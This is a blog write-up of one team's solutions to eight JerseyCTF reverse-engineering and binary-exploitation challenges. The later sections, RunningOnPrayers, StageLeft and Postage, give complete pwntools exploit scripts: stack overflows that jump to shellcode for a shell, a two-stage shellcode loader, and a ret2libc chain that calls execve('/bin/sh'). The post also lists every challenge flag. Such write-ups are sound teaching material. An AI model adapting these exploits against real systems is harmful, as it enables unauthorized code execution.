I played JerseyCTF with the team S.h.i.c.h.i.b.u.k.a.i and here is the solutions for the challenges from rev/bin category.

Challenges:

  1. humble-beginnings
  2. PasswordManager
  3. searching-through-vine
  4. MathTest
  5. the-heist-1
  6. RunningOnPrayers
  7. StageLeft
  8. Postage

humble-beginnings

Description

we are given an exe, just run strings on it to see the flag.

Strings

flag: jctf{mxnhCEkuBogW3E7XAEzNmaq6eZqW3zgEuu}

PasswordManager

desc

We are given an ELF file, to decompile it we can use IDA.

ida

It doing XOR on the input and comparing this with a string value, we can set a breakpoint on 0x000401DBA using gdb to see it.

ida
ida

Flag: jctf{wh3r3s_m@y@?}

searching-through-vines

desc

If we check the source code we can see that if we send bash as a command we easily escalate from shell check.

cmd

Commands in action:

cmd

Flag: jctf{nav1gat10n_1s_k3y}

MathTest

desc

This challenge mostly includes integer overflow vuln. Here are the codes to pass to get flag.

desc
desc
desc
desc

To get overflow a integer we can use negate from pwntools. Syntax is negate(number,bits_width). since long type is used and the target binary is 64 bit we can use 64 as width.

To pass 36864*x < 0. What is x condition without entering a negative number we need to overflow long integer. we can do this with negate(36864,64) = 18446744073709514752 since this will overflow it and make negative.

To pass 3735928559 * y = 0. What is y condition without entering a positive number we need to overflow long integer again. we can do this with -(negate(3735928559,64))=-18446744069973623057 since this will overflow it and make it 0.

Last condition is working on ascii values. O * z = 'A'. What is z? O is 79(0x4f) in ascii number and A is 65(0x41). since char is 8 bit long there is another overflow I wrote a small python script to find correct value.

#Final Quesiton
#O * z = 'A'. What is z?

for i in range(255):
    if (i*ord('O')&0xff == ord('A')):
        print(i,chr(i)) #111 o

So the answer for last is ‘o’ char. But we need to solve the ans1 + ans2 + ans3 = (long)name too. Since ans1 becomes -1 and ans2 is 0 we can find the name should be the previous char from ‘o’ which is ‘n’.

desc

Flag: jctf{C4CLULAT0R_US3R}

the-heist-1

desc

After analyzing the decompiled code on ida, I wrote a python script to bruteforce every byte to get the correct one after encryption, since it compares one by one.

desc

Here is the solution script:

from pwn import *
target=p64(0xE383C3B3232383C3)
target+=p64(0x0C33E3A3)

def rol(value, shift):
    return ((value << shift) | (value >> (8 - shift))) & 0xFF

def enc(c):
    t=(c+96)&0xff
    t=(~t)&0xff
    t=(rol(t,4))&0xff
    t=(t^0x55)&0xff
    return bytes([t])

import string
flag=""
for i in range(len(target)):
    for c in range(256):
        if enc(c)==p8(target[i]):
            print(i,chr(c))
            flag+=chr(c)
print(flag)
#62881624049

Flag: jctf{62881624049}

RunningOnPrayers

desc

This was an jump to shellcode challenge. Here is the solution script.

from pwn import *
import warnings
warnings.simplefilter(action='ignore', category=BytesWarning)
context.terminal = ["tmux", "splitw", "-h","-p","60"]

if args.SILENCE:
    context.log_level="info"
else:
    context.log_level="debug"

elf = ELF("./RunningOnPrayers",checksec=False)
context.arch=elf.arch

gdb_script = """
b *vuln+55
c
"""
if args.REMOTE:
    p = remote("18.212.207.74", 9001)
else:
    p = elf.process(aslr=False)
if args.GDB:
    gdb.attach(p,gdb_script)
    
bof_offset=cyclic_find("kaaa")
JMP_RSP = 0x0000000000401231 #: jmp rsp

shellcode=shellcraft.sh()
sc=asm(shellcode)
payload=flat(
    "E"*bof_offset,
    p64(JMP_RSP), # jmp rsp
    b"\x90"*20, # nop slep
    sc # shellcode
)
p.sendline(payload)

p.interactive()
#jctf{Really_Obvious_Problem}

Flag: jctf{Really_Obvious_Problem}

StageLeft

desc

This was similar to previous RunningOnPrayers challenge but the first shellcode len is pretty small so I use two stage shellcoding. First one for the reading into ‘rsp’ again to get more shellcode.

from pwn import *
import warnings
warnings.simplefilter(action='ignore', category=BytesWarning)
context.terminal = ["tmux", "splitw", "-h","-p","60"]
if args.SILENCE:
    context.log_level="info"
else:
    context.log_level="debug"
elf = ELF("./StageLeft",checksec=False)
context.arch=elf.arch

gdb_script = """
b *vuln+62
c
"""
if args.REMOTE:
    p = remote("3.91.151.73",9001)
else:
    p = elf.process(aslr=False)

if args.GDB:
    gdb.attach(p,gdb_script)

bof_offset=cyclic_find("kaaa")
JMP_RSP =0x0000000000401238 #: jmp rsp
shellcode= shellcraft.read(0,'rsp',200)
sc=asm(shellcode)
payload=flat(
    "E"*bof_offset,
    p64(JMP_RSP),
    sc
)
log.info(str(len(payload)))
p.sendline(payload)
time.sleep(2)
shellcode= shellcraft.sh()
sc2=asm(shellcode)
payload2=flat(
    b"\x90"*30,
    sc2
)
p.sendline(payload2)
p.interactive()
#jctf{Center_Of_Attention}

Flag : jctf{Center_Of_Attention}

Postage

desc

This one was a ret2libc attack.

from pwn import *
import warnings
warnings.simplefilter(action='ignore', category=BytesWarning)
context.terminal = ["tmux", "splitw", "-h","-p","60"]

if args.SILENCE:
    context.log_level="info"
else:
    context.log_level="debug"



elf = ELF("./postage",checksec=False)
context.arch=elf.arch

gdb_script = """
b *vuln+92
b*vuln+238
c
"""
if args.REMOTE:
    p = remote("100.25.130.96", 9001)
    libc=ELF("./libc.so.6",checksec=False)
    
else:
    p = elf.process()
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)

if args.GDB:
    gdb.attach(p,gdb_script)

p.recvuntil("Welcome to  ")
vuln_leak =int(p.recvline()[:-1],16)
elf.address =vuln_leak-elf.symbols["vuln"]
print("vuln_leak",hex(vuln_leak))
print("elf.address",hex(elf.address))

p.sendlineafter("they are delivered","100")
p.sendline("a") # send non decimal to terminate for loop

bof_offset=cyclic_find("oaaa")

rop_elf=ROP(elf)
RET = rop_elf.find_gadget(["ret"])[0]
rop_elf.raw(RET)
rop_elf.puts(elf.got.puts)
rop_elf.call(elf.sym.vuln)
payload=flat(
    cyclic(bof_offset),
    rop_elf.chain()
)

p.sendlineafter("Any questions?",payload)
p.recvline()
recieved=p.recvline()[:-1]
puts_leak =u64(recieved.ljust(8, b"\x00"))
libc.address = puts_leak - libc.symbols["puts"]
log.success("puts: "+ hex(puts_leak))
log.success("libc.address: "+ hex(libc.address))
p.sendlineafter("they are delivered","100")
p.sendline("a") # send non decimal to terminate for loop
bof_offset=cyclic_find("oaaa")

rop2 = ROP(libc)
BINSH = next(libc.search(b"/bin/sh\x00"))
rop2.execve(BINSH,0,0)

payload2=flat(
    cyclic(bof_offset),
    rop2.chain()
)
p.sendlineafter("Any questions?",payload2)

p.interactive()
#jctf{Return_to_Sender}

Flag : jctf{Return_to_Sender}


<
Previous Post
Befudged UP - Reverse challenge from WolvCTF 24
>
Blog Archive
Archive of all previous blog posts